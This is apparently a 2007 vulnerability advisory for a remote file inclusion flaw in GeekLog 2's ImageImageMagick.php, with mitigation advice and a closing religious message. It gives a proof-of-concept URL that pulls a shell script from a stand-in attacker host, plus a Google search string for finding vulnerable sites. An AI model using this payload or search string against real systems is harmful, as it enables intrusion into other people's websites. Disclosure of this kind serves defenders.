--------------------------------[ 05/18/2007 ]--------------------------------- GeekLog 2.* (ImageImageMagick.php) RFI Vuln -----------------------------------[ ASCII ]----------------------------------- ## ### # ### ## # ### / /### ## ### ## / / ### ## # ## / ## ### ## ## ## / ## #### ## ### ## ### /## /### ## ## ## ## ## ### #### ######### ### / ### / #### / ## ## ## ## ## ### ### / ## #### ## / ### ## ###/ ## ## ## ## ## ### ###/ ## ## ## ## ### #### ## ## ## ## ## ## ## ## ## ## ######## ### ## ## ## ## ## ## ## ## ## ## ####### ### ## ## ## ## ## ## ## ## ## ## ## ### ## ## # / ## ## ## ## /# ## #### / /### ## ## ### / ## /# / ####/ ### / ######/ / #### / ### / ######/ ######/ ######/ ### ##/ ##### ###/ ##/ ### ##### ##### -dsd863 [at] yahoo.com- ---------------------------------[ Contacts ]--------------------------------- diesl0w @ UnderNET #hackphreak #oldskewl #ubergeeks #linux.edu #linuxhq ----------------------------------[ Credit ]---------------------------------- rgod for his original BaseView.php RFI find ---------------------------------[ Download ]--------------------------------- http://www.geeklog.net/nightly/geeklog2-cvs-nightly.tar.gz ---------------------------------[ Vuln Code ]-------------------------------- [geeklog path]/system/ImageImageMagick.php?glConf[path_system]=http://www.badsite.com/shell.txt? -----------------------------------[ Issue ]---------------------------------- -Line 3 of ImageImageMagick.php- require $glConf['path_system'] . 'BaseImage.php'; -----------------------------------[ Google ]---------------------------------- "Powered By Geeklog" ----------------------------------[ Solution ]--------------------------------- Change php.ini and set allow_url_fopen to Off (Not tested but disabling URL-Access will fix the issue) or Insert the following code before line 3: Add the following code: if (strpos ($_SERVER['PHP_SELF'], 'ImageImageMagick.php') !== false){ die('Cant access file by itself.'); } ----------------------------[ Word from my sponsor ]--------------------------- Non-Christians: We were born sinners in need of a fix. Without Jesus as a we are going to hell. point blank Christians: Keep passing the faith. Crucify yourself daily. When you fall, get back up. Romans 3:23 "for all have sinned and fall short of the glory of God" Romans 6:23 "For the wages of sin is death, but the gift of God is eternal life through Jesus Christ our Lord." Romans 10:9 "That if you confess with your mouth, "Jesus is Lord," and believe in your heart that God raised him from the dead, you will be saved."